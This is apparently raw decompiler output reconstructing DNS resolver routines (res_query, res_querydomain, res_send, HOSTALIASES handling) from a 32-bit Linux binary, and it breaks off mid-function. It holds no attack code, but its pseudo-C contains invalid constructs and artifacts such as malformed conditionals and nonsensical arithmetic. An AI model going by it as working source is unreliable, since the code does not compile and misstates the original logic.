L0804DFE0(A8, Ac, A10, A14, A18) /* unknown */ void A8; /* unknown */ void Ac; /* unknown */ void A10; /* unknown */ void A14; /* unknown */ void A18; { /* unknown */ void ebx; /* unknown */ void esi; /* unknown */ void Vfffffc00; ebx = A10; esi = A14; *(esi + 3) = *(esi + 3) & 240; if(!( *L0807854C & 1)) { if(L0804D744() != -1) { goto L0804e020; } *L0807E788 = -1; L0804e016: eax = -1; } else { L0804e020: if(!( *L0807854C & 2)) { L0804F7EC(";; res_query(%s, %d, %d)\n", A8, Ac, ebx); } ebx = L080608C8(0, A8, Ac, ebx, 0, 0, 0, & Vfffffc00, 1024); if(ebx <= 0) { if(!( *L0807854C & 2)) { (save)";; res_query: mkquery failed\n"; L0804F7EC(); } *L0807E788 = 3; } else { eax = L0804EA0C( & Vfffffc00, ebx, A14, A18); ebx = eax; if(ebx < 0) { if(!( *L0807854C & 2)) { (save)";; res_query: send error\n"; L0804F7EC(); } *L0807E788 = 2; } else { if(*(esi + 3) & 15) { goto L0804e0dd; } ax = *(esi + 6); asm("xchg al,ah"); if(ax == 0) { L0804e0dd: if(!( *L0807854C & 2)) { ax = *(esi + 6); asm("xchg al,ah"); eax = eax & 65535; eax = L0804F7EC(";; rcode = %d, ancount=%d\n", *(esi + 3) & 15, eax); } eax = *(esi + 3) & 15; if(eax <= 5) { goto *(eax * 4 + 0x804e118)[L0804e150, L0804e160, L0804e140, L0804e130, L0804e160, L0804e160, ]goto ( *(eax * 4 + 0x804e118)); *L0807E788 = 1; goto L0804e016; *L0807E788 = 2; goto L0804e016; *L0807E788 = 4; goto L0804e016; } *L0807E788 = 3; goto L0804e016; } } } eax = ebx; } esp = ebp + -1036; } /* Procedure: 0x0804E17F - 0x0804E17F * Argument size: 0 * Local size: 0 * Save regs size: 0 */ L0804E17F() { } /* Procedure: 0x0804E180 - 0x0804E396 * Argument size: 20 * Local size: 20 * Save regs size: 12 */ L0804E180(A8, Ac, A10, A14, A18) /* unknown */ void A8; /* unknown */ void Ac; /* unknown */ void A10; /* unknown */ void A14; /* unknown */ void A18; { /* unknown */ void ebx; /* unknown */ void esi; /* unknown */ void Vffffffec; /* unknown */ void Vfffffff0; /* unknown */ void Vfffffff4; /* unknown */ void Vfffffff8; /* unknown */ void Vfffffffc; Vfffffffc = A14; Vfffffff4 = 0; Vfffffff0 = 0; Vffffffec = 0; if(!( *L0807854C & 1) && L0804D744() == -1) { *L0807E788 = -1; } else { *L08078B14 = 0; *L0807E788 = 1; ebx = 0; eax = A8; if(*A8 != 0) { do { if(*eax == 46) { ebx = ebx + 1; } eax = eax + 1; } while(*eax != 0); } esi = 0; if(eax > A8 && *(eax - 1) == 46) { esi = 1; } if(ebx == 0) { eax = L0804E490(A8); if(eax != 0) { eax = L0804DFE0(eax, Ac, A10, A14, A18); goto L0804e38d; } } Vfffffff8 = -1; if(ebx >= ( *L080786A8 & 15)) { eax = L0804E398(A8, 0, Ac, A10, A14, A18); if(eax > 0) { goto L0804e38d; } Vfffffff8 = *L0807E788; Vffffffec = Vffffffec + 1; } if(ebx == 0) { if(*L0807854C < 0) { goto L0804e2a1; } } else { if(esi == 0 && !( *L0807854D & 2)) { L0804e2a1: ebx = 0; esi = 0x8078588; if(*L08078588 != 0) { do { eax = L0804E398(A8, *esi, Ac, A10, A14, A18); if(eax > 0) { goto L0804e38d; } if(*L08078B14 == 111) { goto L0804e37e; } eax = *L0807E788; if(eax == 2) { if(( *(Vfffffffc + 3) & 15) != 2) { goto L0804e318; } Vfffffff0 = Vfffffff0 + 1; } else { > ? L0804e2f8 : ; if(eax != 1) { L0804e318: ebx = ebx + 1; } } L0804e319: if(!( *L0807854D & 2)) { ebx = ebx + 1; } esi = esi + 4; if(*esi == 0) { break; } } while(ebx == 0); goto L0804e32f; if(eax != 4) { goto L0804e318; } Vfffffff4 = Vfffffff4 + 1; goto L0804e319; } } } L0804e32f: if(Vffffffec == 0) { eax = L0804E398(A8, 0, Ac, A10, A14, A18); if(eax > 0) { goto L0804e38d; } } if(Vfffffff8 != -1) { *L0807E788 = Vfffffff8; } else { if(Vfffffff4 != 0) { *L0807E788 = 4; } else { if(Vfffffff0 != 0) { L0804e37e: *L0807E788 = 2; } } } } eax = -1; L0804e38d: esp = ebp - 32; } /* Procedure: 0x0804E397 - 0x0804E397 * Argument size: 0 * Local size: 0 * Save regs size: 0 */ L0804E397() { } /* Procedure: 0x0804E398 - 0x0804E48E * Argument size: 24 * Local size: 516 * Save regs size: 12 */ L0804E398(A8, Ac, A10, A14, A18, A1c) /* unknown */ void A8; /* unknown */ void Ac; /* unknown */ void A10; /* unknown */ void A14; /* unknown */ void A18; /* unknown */ void A1c; { /* unknown */ void esi; /* unknown */ void edi; /* unknown */ void Vfffffdfc; edi = Ac; esi = & Vfffffdfc; if(!( *L0807854C & 1) && L0804D744() == -1) { *L0807E788 = -1; eax = -1; } else { if(!( *L0807854C & 2)) { (save)A14; (save)A10; eax = edi; if(edi == 0) { eax = ""; } (save)eax; (save)A8; (save)";; res_querydomain(%s, %s, %d, %d)\n"; L0804F7EC(); esp = esp + 20; } if(edi == 0) { al = 0; edi = A8; asm("cld"); ecx = -1; asm("repne scasb"); edi = !ecx - 2; if(edi != -1) { if(*(edi + A8) != 46 || edi > 512) { goto L0804e448; } L08056480(A8, & Vfffffdfc, edi); *(edi + & Vfffffdfc) = 0; } else { L0804e448: esi = A8; } } else { L0804F808( & Vfffffdfc, "%.*s.%.*s", 256, A8, 256, edi); } eax = L0804DFE0(esi, A10, A14, A18, A1c); } esp = ebp + -528; } /* Procedure: 0x0804E48F - 0x0804E48F * Argument size: 0 * Local size: 0 * Save regs size: 0 */ L0804E48F() { } /* Procedure: 0x0804E490 - 0x0804E634 * Argument size: 4 * Local size: 1028 * Save regs size: 12 */ L0804E490(A8) /* unknown */ void A8; { /* unknown */ void ebx; /* unknown */ void esi; /* unknown */ void edi; /* unknown */ void Vfffffbfc; /* unknown */ void Vfffffc00; /* unknown */ void Vfffffc01; /* unknown */ void Vffffffff; if(!( *L0807854D & 16)) { eax = L08055668("HOSTALIASES"); if(eax != 0) { edi = L0804F620(eax, "r"); if(edi != 0) { L08054DF0(edi, 0); Vffffffff = 0; Vfffffbfc = & Vfffffc00; do { if(L0804F5C4(Vfffffbfc, 1024, edi) == 0) { goto L0804e620; } ebx = Vfffffbfc; if(Vfffffc00 == 0) { goto L0804e620; } edx = *L08078FA0; if(!( *(edx + (Vfffffc00 & 255) * 2 + 1) & 32)) { ebx = & Vfffffc01; if(Vfffffc01 == 0) { goto L0804e620; } if(!( *(edx + (Vfffffc01 & 255) * 2 + 1) & 32)) { do { ebx = ebx + 1; if(*ebx == 0) { goto L0804e620; } } while(*(edx + ( *ebx & 255) * 2 + 1) & 32); } } if(*ebx == 0) { goto L0804e620; } *ebx = 0; } while(L080565F8(Vfffffbfc, A8) != 0); ebx = ebx + 1; eax = *ebx & 255; edx = *L08078FA0; if(!( *(edx + eax * 2 + 1) & 32)) { do { ebx = ebx + 1; } while(*(edx + ( *ebx & 255) * 2 + 1) & 32); } if(*ebx != 0) { edx = ebx + 1; if(*(ebx + 1) != 0) { eax = *(ebx + 1) & 255; ecx = *L08078FA0; if(!( *(ecx + eax * 2 + 1) & 32)) { edx = ebx + 2; if(*(ebx + 2) != 0 && !( *(ecx + ( *(ebx + 2) & 255) * 2 + 1) & 32)) { do { edx = edx + 1; if(*edx == 0) { goto L0804e5f8; } } while(*(ecx + ( *edx & 255) * 2 + 1) & 32); } } } L0804e5f8: *edx = 0; *L0807A857 = 0; (save)255; (save)ebx; (save)0x807a758; L0805680C(); (save)edi; L0804F540(); eax = 0x807a758; goto L0804e628; } L0804e620: L0804F540(edi); } } } eax = 0; L0804e628: esp = ebp + -1040; } /* Procedure: 0x0804E635 - 0x0804E637 * Argument size: 0 * Local size: 0 * Save regs size: 0 */ L0804E635() { } /* Procedure: 0x0804E638 - 0x0804E691 * Argument size: 20 * Local size: 0 * Save regs size: 12 */ L0804E638(A8, Ac, A10, A16, A18) /* unknown */ void A8; /* unknown */ void Ac; /* unknown */ void A10; /* unknown */ void A16; /* unknown */ void A18; { /* unknown */ void ebx; eax = A10; ebx = *L08078B14; if(!( *L0807854C & 2)) { (save)eax; eax = L080566A4(); (save)eax; asm("xchg al,ah"); eax = L0804F680(A8, "res_send: %s ([%s].%u): %s\n", Ac, L0805E984(A18), eax & 65535); } *L08078B14 = ebx; } /* Procedure: 0x0804E692 - 0x0804E693 * Argument size: 0 * Local size: 0 * Save regs size: 0 */ L0804E692() { } /* Procedure: 0x0804E694 - 0x0804E6D4 * Argument size: 12 * Local size: 0 * Save regs size: 12 */ L0804E694(A8, Ac, A10) /* unknown */ void A8; /* unknown */ void Ac; /* unknown */ void A10; { /* unknown */ void ebx; eax = A10; ebx = *L08078B14; if(!( *L0807854C & 2)) { eax = L0804F680(A8, "res_send: %s: %s\n", Ac, L080566A4(), eax); } *L08078B14 = ebx; } /* Procedure: 0x0804E6D5 - 0x0804E6E6 * Argument size: 4 * Local size: 0 * Save regs size: 0 */ L0804E6D5(A8) /* unknown */ void A8; { *L0807853C = A8; return(*L0807853C); } /* Procedure: 0x0804E6E7 - 0x0804E6F6 * Argument size: 4 * Local size: 0 * Save regs size: 0 */ L0804E6E7(A8) /* unknown */ void A8; { *L08078540 = A8; return(*L08078540); } /* Procedure: 0x0804E6F7 - 0x0804E6F7 * Argument size: 0 * Local size: 0 * Save regs size: 0 */ L0804E6F7() { } /* Procedure: 0x0804E6F8 - 0x0804E880 * Argument size: 4 * Local size: 32 * Save regs size: 12 */ L0804E6F8(A8) /* unknown */ void A8; { /* unknown */ void ebx; /* unknown */ void esi; /* unknown */ void edi; /* unknown */ void Vffffffe0; /* unknown */ void Vffffffe4; /* unknown */ void Vffffffe8; /* unknown */ void Vffffffec; /* unknown */ void Vfffffff0; /* unknown */ void Vfffffff4; /* unknown */ void Vfffffff8; /* unknown */ void Vfffffffc; edx = A8; ecx = *edx; Vfffffff0 = ecx; Vfffffff4 = *(edx + 4); Vfffffff8 = *(edx + 8); Vfffffffc = *(edx + 12); esi = 0; Vffffffec = 0; if(*L08078550 > 0) { Vffffffe8 = ecx; ecx = 0x8078558; Vffffffe4 = 0x8078554; eax = *L08078550 & 3; if(*L08078550 > 0) { if(eax == 0) { goto L0804e7f0; } if(eax > 1) { if(eax > 2) { if(*L08078554 == Vffffffe8 && ( *L08078558 == 0 || Vfffffff4 == *L08078558)) { goto L0804e859; } ecx = ecx + 16; Vffffffe4 = Vffffffe4 + 16; Vffffffec = Vffffffec + 1; } if(*Vffffffe4 == Vffffffe8 && ( *ecx == 0 || Vfffffff4 == *ecx)) { goto L0804e859; } ecx = ecx + 16; Vffffffe4 = Vffffffe4 + 16; Vffffffec = Vffffffec + 1; } } if(*Vffffffe4 == Vffffffe8 && ( *ecx == 0 || Vfffffff4 == *ecx)) { goto L0804e859; } ecx = ecx + 16; Vffffffe4 = Vffffffe4 + 16; Vffffffec = Vffffffec + 1; if(*L08078550 != Vffffffec) { L0804e7f0: Vffffffe0 = ecx; edx = ecx; ecx = Vffffffe4; do { if(*ecx == Vffffffe8 && ( *edx == 0 || Vfffffff4 == *Vffffffe0) || *(ecx + 16) == Vffffffe8 && ( *(edx + 16) == 0 || Vfffffff4 == *(Vffffffe0 + 16)) || *(ecx + 32) == Vffffffe8 && ( *(edx + 32) == 0 || Vfffffff4 == *(Vffffffe0 + 32)) || *(ecx + 48) == Vffffffe8 && ( *(edx + 48) == 0 || Vfffffff4 == *(Vffffffe0 + 48))) { goto L0804e859; } Vffffffe0 = Vffffffe0 + 64; edx = edx + 64; ecx = ecx + 64; Vffffffec = Vffffffec + 4; } while(*L08078550 != Vffffffec); goto L0804e875; L0804e859: esi = esi + 1; } } L0804e875: eax = esi; esp = ebp - 44; } /* Procedure: 0x0804E881 - 0x0804E883 * Argument size: 0 * Local size: 0 * Save regs size: 0 */ L0804E881() { } /* Procedure: 0x0804E884 - 0x0804E941 * Argument size: 20 * Local size: 264 * Save regs size: 12 */ L0804E884(A8, Ac, A10, A14, A18) /* unknown */ void A8; /* unknown */ void Ac; /* unknown */ void A10; /* unknown */ void A14; /* unknown */ void A18; { /* unknown */ void ebx; /* unknown */ void esi; /* unknown */ void edi; /* unknown */ void Vfffffef8; /* unknown */ void Vfffffefc; esi = A14 + 12; ax = *(A14 + 4); asm("xchg al,ah"); edi = ax & 65535; eax = edi; edi = edi - 1; if(eax > 0) { Vfffffef8 = & Vfffffefc; do { eax = L0804D02C(A14, A18, esi, Vfffffef8, 257); if(eax < 0) { goto L0804e8dd; } esi = esi + eax; L0804D6B8(esi); ebx = ax & 65535; esi = esi + 2; eax = L0804D6B8(esi) & 65535; esi = esi + 2; if(Ac == ebx && A10 == eax && L080565F8(Vfffffef8, A8) == 0) { goto L0804e924; } eax = edi; edi = edi - 1; } while(eax > 0); goto L0804e933; L0804e8dd: eax = -1; goto L0804e935; L0804e924: eax = 1; } else { L0804e933: eax = 0; } L0804e935: esp = ebp + -276; } /* Procedure: 0x0804E942 - 0x0804E943 * Argument size: 0 * Local size: 0 * Save regs size: 0 */ L0804E942() { } /* Procedure: 0x0804E944 - 0x0804EA0A * Argument size: 16 * Local size: 264 * Save regs size: 12 */ L0804E944(A8, Ac, A10, A14) /* unknown */ void A8; /* unknown */ void Ac; /* unknown */ void A10; /* unknown */ void A14; { /* unknown */ void ebx; /* unknown */ void esi; /* unknown */ void edi; /* unknown */ void Vfffffef8; /* unknown */ void Vfffffefc; esi = A8 + 12; ax = *(A8 + 4); asm("xchg al,ah"); edi = ax & 65535; ax = *(A10 + 4); asm("xchg al,ah"); if(edi != (eax & 65535)) { L0804e974: eax = 0; goto L0804e9fe; L0804e97c: eax = -1; } else { eax = edi; edi = edi - 1; if(eax > 0) { Vfffffef8 = & Vfffffefc; do { eax = L0804D02C(A8, Ac, esi, Vfffffef8, 257); if(eax < 0) { goto L0804e97c; } esi = esi + eax; L0804D6B8(esi); ebx = ax & 65535; esi = esi + 2; eax = L0804D6B8(esi) & 65535; esi = esi + 2; if(L0804E884(Vfffffef8, ebx, eax, A10, A14) == 0) { goto L0804e974; } eax = edi; edi = edi - 1; } while(eax > 0); } eax = 1; } L0804e9fe: esp = ebp + -276; } /* Procedure: 0x0804EA0B - 0x0804EA0B * Argument size: 0 * Local size: 0 * Save regs size: 0 */ L0804EA0B() { } /* Procedure: 0x0804EA0C - 0x0804F4F5 * Argument size: 16 * Local size: 600 * Save regs size: 12 */ L0804EA0C(A8, Ac, A10, A14) /* unknown */ void A8; /* unknown */ void Ac; /* unknown */ void A10; /* unknown */ void A14; { /* unknown */ void ebx; /* unknown */ void esi; /* unknown */ void edi; /* unknown */ void Vfffffdac; /* unknown */ void Vfffffdb0; /* unknown */ void Vfffffdb4; /* unknown */ void Vfffffdb8; /* unknown */ void Vfffffdbc; /* unknown */ void Vfffffdc0; /* unknown */ void Vfffffdc4; /* unknown */ void Vfffffdc8; /* unknown */ void Vfffffdcc; /* unknown */ void Vfffffdd0; /* unknown */ void Vfffffdd4; /* unknown */ void Vfffffdd8; /* unknown */ void Vfffffddc; /* unknown */ void Vfffffde0; /* unknown */ void Vfffffde4; /* unknown */ void Vfffffe04; /* unknown */ void Vfffffe14; /* unknown */ void Vfffffe16; /* unknown */ void Vfffffe18; /* unknown */ void Vffffffe6; /* unknown */ void Vffffffe8; /* unknown */ void Vffffffec; /* unknown */ void Vfffffff0; /* unknown */ void Vfffffff4; /* unknown */ void Vfffffff8; /* unknown */ void Vfffffffc; Vfffffdd4 = A8; Vfffffdd0 = A10; if(!( *L0807854C & 1) && L0804D744() == -1) { goto L0804f4e4; } if(*L0807854C & 2 || !( *L080786A5 & 16)) { L0804F680(); L0805F1DC(A8, Ac, 0x8078750, 0x8078750, ";; res_send()\n"); } Vfffffdbc = 0; if(*L0807854C & 8 || Ac > 512) { Vfffffdbc = 1; } Vfffffdcc = 0; Vfffffdc8 = 0; Vfffffdc4 = 110; Vfffffdb8 = 0; Vfffffdc0 = 0; if(*L08078548 > Vfffffdcc) { do { esi = 0; if(*L08078550 > 0) { do { while(1) { eax = Vfffffdb8; asm("bt eax,esi"); if(!(Vfffffffc = (esi << 4) + 0x8078554)) { break; } if(*L0807853C != 0) { ebx = 0; do { edx = *( *L0807853C)( & Vfffffffc, & A8, & Ac, A10, A14, & Vfffffff8); if(edx > 4) { goto L0804f4e4; } goto *(edx * 4 + 0x804eb5c)[L0804eb80, L0804eb0c, L0804eb70, L0804f448, L0804f4e4, ]goto ( *(edx * 4 + 0x804eb5c)); if(ebx + 1 > 41) { goto L0804f4e4; } } while(0 == 0); } if(!( *L0807854C & 2)) { L0804F680(0x8078750, ";; Querying server (# %d) address = %s\n", esi + 1, L0805E984(), *(Vfffffffc + 4)); } if(Vfffffdbc == 0) { if(*L08078530 < 0 || *L08078538 != 0) { if(*L08078538 != 0) { L0804F4F8(); } eax = L08056CF4(2, 2, 0); *L08078530 = eax; if(*L08078530 < 0) { goto L0804f4c4; } *L08078534 = 0; } if(*L08078550 != 1) { if(Vfffffdc0 != 0) { goto L0804efbc; } if(esi != 0) { L0804efbc: if(*L08078534 != 0) { Vfffffe14 = 2; Vfffffe18 = 0; Vfffffe16 = 0; L08056ABC( *L08078530, & Vfffffe14, 16); *L08078534 = 0; *L08078B14 = 0; } if(Ac == L08056C3C( *L08078530, A8, Ac, 0, Vfffffffc, 16)) { goto L0804f074; } else { goto L0804f02f; } } } if(*L08078534 == 0) { if(L08056ABC( *L08078530, Vfffffffc, 16) < 0) { goto L0804ef44; } *L08078534 = 1; } if(Ac != L08056BF0( *L08078530, A8, Ac, 0)) { goto L0804efa3; } L0804f074: edx = *L08078544 << Vfffffdc0; Vfffffddc = edx; if(Vfffffdc0 > 0) { eax = edx; asm("cdq"); *L08078550 = *L08078550 / *L08078550; edx = *L08078550 % *L08078550; Vfffffddc = eax; } if(Vfffffddc <= 0) { Vfffffddc = 1; } Vfffffde0 = 0; do { edx = & Vfffffde4; eax = 0; ecx = 8; edi = edx; asm("cld"); asm("rep stosd"); eax = *L08078530; asm("bts [ebp+0xfffffde4],eax"); ebx = L080574A0( *L08078530 + 1, edx, 0, 0, & Vfffffddc); if(ebx >= 0) { if(ebx == 0) { goto L0804f118; } *L08078B14 = 0; Vfffffdd8 = 16; edx = L08056B90( *L08078530, A10, A14, 0, & Vfffffe04, & Vfffffdd8); Vfffffff8 = edx; if(Vfffffff8 <= 0) { goto L0804f18d; } Vfffffdcc = 1; if(*Vfffffdd0 == *Vfffffdd4) { if(*L0807854D & 4 || L0804E6F8( & Vfffffe04) != 0) { if(*L0807854D & 8 || L0804E944(A8, A8 + Ac, A10, A10 + A14) != 0) { goto L0804f2ac; } if(!( *L0807854C & 2) && *L080786A5 & 32) { continue; } (save)";; wrong query name:\n"; } else { if(!( *L0807854C & 2) && *L080786A5 & 32) { continue; } (save)";; not our server:\n"; } (save)0x8078750; L0804F680(); (save)0x8078750; (save)Vfffffff8; (save)A10; } else { if(!( *L0807854C & 2) && *L080786A5 & 32) { continue; } (save)";; old answer:\n"; (save)0x8078750; L0804F680(); (save)0x8078750; (save)Vfffffff8; (save)A10; } L0805F1DC(); esp = esp + 20; continue; } } while(*L08078B14 == 4); goto L0804f106; L0804f2ac: dl = *(Vfffffdd0 + 3) & 15; if(dl == 2 || dl + 252 <= 1) { if(!( *L0807854C & 2)) { L0804F680(); L0805F1DC(A10, Vfffffff8, 0x8078750, 0x8078750, "server rejected query:\n"); } Vfffffdb8 = Vfffffdb8 | 1 << esi; L0804F4F8(); if(*L080786A4 == 0) { goto L0804f450; } } if(*L0807854C & 32 || *(Vfffffdd0 + 2) & 2) { goto L0804f358; } if(!( *L0807854C & 2)) { L0804F680(0x8078750, ";; truncated answer\n"); } Vfffffdbc = 1; L0804F4F8(); continue; } Vfffffdc0 = *L08078548; Vfffffdb4 = 0; if(*L08078530 >= 0) { if(*L08078538 != 0) { goto L0804ec86; } if(*L08078530 >= 0) { L0804F4F8(); } } edx = L08056CF4(2, 1, 0); *L08078530 = edx; if(edx < 0) { goto L0804f4a4; } *L08078B14 = 0; if(L08056ABC(edx, Vfffffffc, 16) < 0) { goto L0804ec33; } *L08078538 = 1; L0804ec86: ebx = & Vffffffe6; L0804D700(Ac & 65535, ebx); Vffffffe8 = ebx; Vffffffec = 2; Vfffffff0 = A8; Vfffffff4 = Ac; (save)2; (save) & Vffffffe8; (save) *L08078530; esp = esp + 20; if(L08056E70() != Ac + 2) { goto L0804ecca; } Vfffffdac = A10; Vffffffe6 = 2; do { edi = Vfffffdac; ebx = L0805730C( *L08078530, edi, Vffffffe6 & 65535); if(ebx <= 0) { goto L0804ed45; } Vfffffdac = edi + ebx; } while(Vffffffe6 = Vffffffe6 - bx); if(ebx > 0) { goto L0804ed98; } L0804ed45: ecx = *L08078B14; Vfffffdc4 = ecx; L0804E694(0x80787a4, "read failed", Vfffffdc4); L0804F4F8(); esp = esp + 12; if(Vfffffdc4 != 104 || Vfffffdc8 != 0) { break; } Vfffffdc8 = 1; L0804F4F8(); } goto L0804eb0c; L0804f02f: edx = Vfffffffc; (save) *(edx + 12); (save) *(edx + 8); (save) *(edx + 4); (save) *edx; (save) *L08078B14; (save)"sendto"; goto L0804f04c; L0804f18d: (save) *L08078B14; (save)"recvfrom"; goto L0804f193; L0804f118: if(!( *L0807854C & 2)) { L0804F680(0x8078750, ";; timeout\n"); } Vfffffdcc = 1; goto L0804eb0c; L0804f106: (save) *L08078B14; (save)"select"; goto L0804f193; L0804efa3: L0804E694(0x80787a4, "send", *L08078B14); Vfffffdb8 = Vfffffdb8 | 1 << esi; goto L0804f19d; L0804ef44: edx = Vfffffffc; (save) *(edx + 12); (save) *(edx + 8); (save) *(edx + 4); (save) *edx; (save) *L08078B14; (save)"connect(dg)"; L0804f04c: (save)0x80787a4; L0804E638(); Vfffffdb8 = Vfffffdb8 | 1 << esi; goto L0804f065; L0804ed98: edx = L0804D6B8(A10) & 65535; Vfffffff8 = edx; if(Vfffffff8 <= A14) { Vffffffe6 = Vfffffff8; } else { if(!( *L0807854C & 2)) { L0804F680(0x8078750, ";; response truncated\n"); } Vfffffdb4 = 1; Vffffffe6 = A14; } Vfffffdac = A10; if(Vffffffe6 != 0) { do { ebx = L0805730C( *L08078530, Vfffffdac, Vffffffe6 & 65535); if(ebx <= 0) { goto L0804ee38; } Vfffffdac = Vfffffdac + ebx; } while(Vffffffe6 = Vffffffe6 - bx); } if(ebx > 0) { goto L0804ee50; } L0804ee38: eax = *L08078B14; Vfffffdc4 = eax; (save)Vfffffdc4; (save)"read(vc)"; L0804f193: (save)0x80787a4; L0804E694(); goto L0804f19d; L0804ecca: eax = *L08078B14; Vfffffdc4 = eax; L0804E694(0x80787a4, "write failed", Vfffffdc4); Vfffffdb8 = Vfffffdb8 | 1 << esi; L0804f19d: L0804F4F8(); esp = esp + 12; goto L0804f450; L0804ec33: Vfffffdc4 = *L08078B14; edx = Vfffffffc; (save) *(edx + 12); (save) *(edx + 8); edx = *edx; Vfffffdb0 = edx; L0804E638(0x80787a4, "connect/vc", Vfffffdc4, Vfffffdb0, *(edx + 4)); Vfffffdb8 = Vfffffdb8 | 1 << esi; L0804f065: L0804F4F8(); esp = esp + 28; goto L0804f450; L0804eb0c: L0804F4F8(); L0804f450: esi = esi + 1; } while(*L08078550 > esi); } Vfffffdc0 = Vfffffdc0 + 1; } while(*L08078548 > Vfffffdc0); goto L0804f475; L0804ee50: if(Vfffffdb4 != 0) { *(Vfffffdd0 + 2) = *(Vfffffdd0 + 2) | 2; if(!(Vffffffe6 = Vfffffff8 - A14)) { do { ebx = 512; if(Vffffffe6 <= 512) { ebx = Vffffffe6 & 65535; } if(L0805730C( *L08078530, & Vfffffde4, ebx) <= 0) { goto L0804f358; } } while(Vffffffe6 = Vffffffe6 - bx); } } L0804f358: if(*L0807854C & 2 || ( *L080786A4 & 8448) == 8448) { L0804F680(0x8078750, ";; got answer:\n"); } if(*L0807854C & 2 || !( *L080786A5 & 32)) { L0804F680(); L0805F1DC(A10, Vfffffff8, 0x8078750, 0x8078750, 0x8067ee3); } if(Vfffffdbc != 0 && ( *L0807854C & 8 || esi != 0)) { goto L0804f3d9; } if(!( *L0807854D & 1)) { L0804f3d9: L0804F4F8(); } if(*L08078540 != 0) { ebx = 0; do { edx = *( *L08078540)(Vfffffffc, A8, Ac, A10, A14, & Vfffffff8); if(edx > 4) { goto L0804f4e4; } goto *(edx * 4 + 0x804f424)[L0804f448, L0804eb0c, L0804f438, L0804f448, L0804f4e4, ]goto ( *(edx * 4 + 0x804f424)); if(ebx + 1 > 41) { goto L0804f4e4; } } while(0 == 0); } eax = Vfffffff8; } else { L0804f475: L0804F4F8(); if(Vfffffdbc == 0) { if(Vfffffdcc == 0) { *L08078B14 = 111; goto L0804f4e4; } *L08078B14 = 110; goto L0804f4e4; L0804f4a4: edi = *L08078B14; Vfffffdc4 = edi; (save)Vfffffdc4; (save)"socket(vc)"; L0804f4b6: L0804E694(0x80787a4); goto L0804f4e4; L0804f4c4: eax = *L08078B14; Vfffffdc4 = eax; (save)Vfffffdc4; (save)"socket(dg)"; goto L0804f4b6; } *L08078B14 = Vfffffdc4; L0804f4e4: eax = -1; } esp = ebp + -612; } /* Procedure: 0x0804F4F6 - 0x0804F4F7 * Argument size: 0 * Local size: 0 * Save regs size: 0 */ L0804F4F6() { } /* Procedure: 0x0804F4F8 - 0x0804F530 * Argument size: 0 * Local size: 0 * Save regs size: 0 */ L0804F4F8() { if(*L08078530 >= 0) { eax = L08057160( *L08078530); *L08078530 = -1; *L08078534 = 0; *L08078538 = 0; } } /* Procedure: 0x0804F531 - 0x0804F53F * Argument size: 0 * Local size: 0 * Save regs size: 0 */ L0804F531() { return(0x8078544); } /* Procedure: 0x0804F540 - 0x0804F5C0 * Argument size: 4 * Local size: 0 * Save regs size: 8 */ L0804F540(A8) /* unknown */ void A8; { /* unknown */ void esi; if(A8 == 0 || ( *A8 & -65536) != -72548352) { *L08078B14 = 22; eax = -1; } else { if(!( *(A8 + 1) & 32)) { esi = L08060D44(A8); } else { esi = 0; if(!( *A8 & 32)) { esi = -1; } } *( *( *(A8 + 80) + 12))(A8); if(A8 != 0x80786fc && A8 != 0x8078750 && A8 != 0x80787a4) { L0805C290(A8); } eax = esi; } } /* Procedure: 0x0804F5C1 - 0x0804F5C3 * Argument size: 0 * Local size: 0 * Save regs size: 0 */ L0804F5C1() { } /* Procedure: 0x0804F5C4 - 0x0804F61E * Argument size: 12 * Local size: 0 * Save regs size: 8 */ L0804F5C4(A8, Ac, A10) /* unknown */ void A8; /* unknown */ void Ac; /* unknown */ void A10; { if(A10 == 0 || ( *A10 & -65536) != -72548352) { *L08078B14 = 22; L0804f5ee: eax = 0; } else { if(Ac <= 0) { goto L0804f5ee; } eax = L0804F734(A10, A8, Ac - 1, 10, 1); if(eax == 0 || *A10 & 32) { goto L0804f5ee; } *(eax + A8) = 0; eax = A8; } } /* Procedure: 0x0804F61F - 0x0804F61F * Argument size: 0 * Local size: 0 * Save regs size: 0 */ L0804F61F() { } /* Procedure: 0x0804F620 - 0x0804F67F * Argument size: 8 * Local size: 0 * Save regs size: 12 */ L0804F620(A8, Ac) /* unknown */ void A8; /* unknown */ void Ac; { /* unknown */ void ebx; ebx = L0805BD74(84); if(ebx == 0) { eax = 0; } else { (save)0; (save)ebx; L08061F34(); *(ebx + 80) = 0x807902c; (save)ebx; L08060D24(); (save)Ac; (save)A8; (save)ebx; esp = esp + 24; if(L08060E20() == 0) { L08061788(); L0805C290(ebx, ebx); eax = 0; } else { eax = ebx; } } } /* Procedure: 0x0804F680 - 0x0804F6D2 * Argument size: 12 * Local size: 0 * Save regs size: 0 */ L0804F680(A8, Ac, A10) /* unknown */ void A8; /* unknown */ void Ac; /* unknown */ void A10; { if(A8 == 0) { *L08078B14 = 22; return(-1); } if(( *A8 & -65536) == -72548352) { return(L0804F888(A8, Ac, & A10)); } *L08078B14 = 22; esp = ebp; return(-1); } /* Procedure: 0x0804F6D3 - 0x0804F6D3 * Argument size: 0 * Local size: 0 * Save regs size: 0 */ L0804F6D3() { } /* Procedure: 0x0804F6D4 - 0x0804F733 * Argument size: 16 * Local size: 0 * Save regs size: 12 */ L0804F6D4(A8, Ac, A10, A14) /* unknown */ void A8; /* unknown */ void Ac; /* unknown */ void A10; /* unknown */ void A14; { /* unknown */ void ebx; /* unknown */ void edi; edx = A14; ebx = Ac; edi = A10 * ebx; if(edx == 0 || ( *edx & -65536) != -72548352) { *L08078B14 = 22; eax = 0; } else { if(ebx == 0) { eax = 0; } else { eax = L08061D2C(edx, A8, ebx); if(ebx != eax) { edx = 0; edx = Ac / Ac % Ac / Ac; } else { eax = edi; } } } } /* Procedure: 0x0804F734 - 0x0804F7EB * Argument size: 20 * Local size: 8 * Save regs size: 12 */ L0804F734(A8, Ac, A10, A14, A18) /* unknown */ void A8; /* unknown */ void Ac; /* unknown */ void A10; /* unknown */ void A14; /* unknown */ void A18; { /* unknown */ void ebx; /* unknown */ void esi; /* unknown */ void Vfffffff8; /* unknown */ void Vfffffffc; Vfffffffc = Ac; do { ebx = *(A8 + 8) - *(A8 + 4); if(ebx <= 0) { if(L08061A70(A8) == -1) { break; } ebx = *(A8 + 8) - *(A8 + 4); } if(A10 <= ebx) { ebx = A10; } esi = L080575C0( *(A8 + 4), A14, ebx); if(esi != 0) { goto L0804f78b; } L0805652C(Vfffffffc, *(A8 + 4), ebx); *(A8 + 4) = *(A8 + 4) + ebx; Vfffffffc = Vfffffffc + ebx; } while(A10 = A10 - ebx); goto L0804f7dc; L0804f78b: Vfffffff8 = Vfffffffc - Ac; 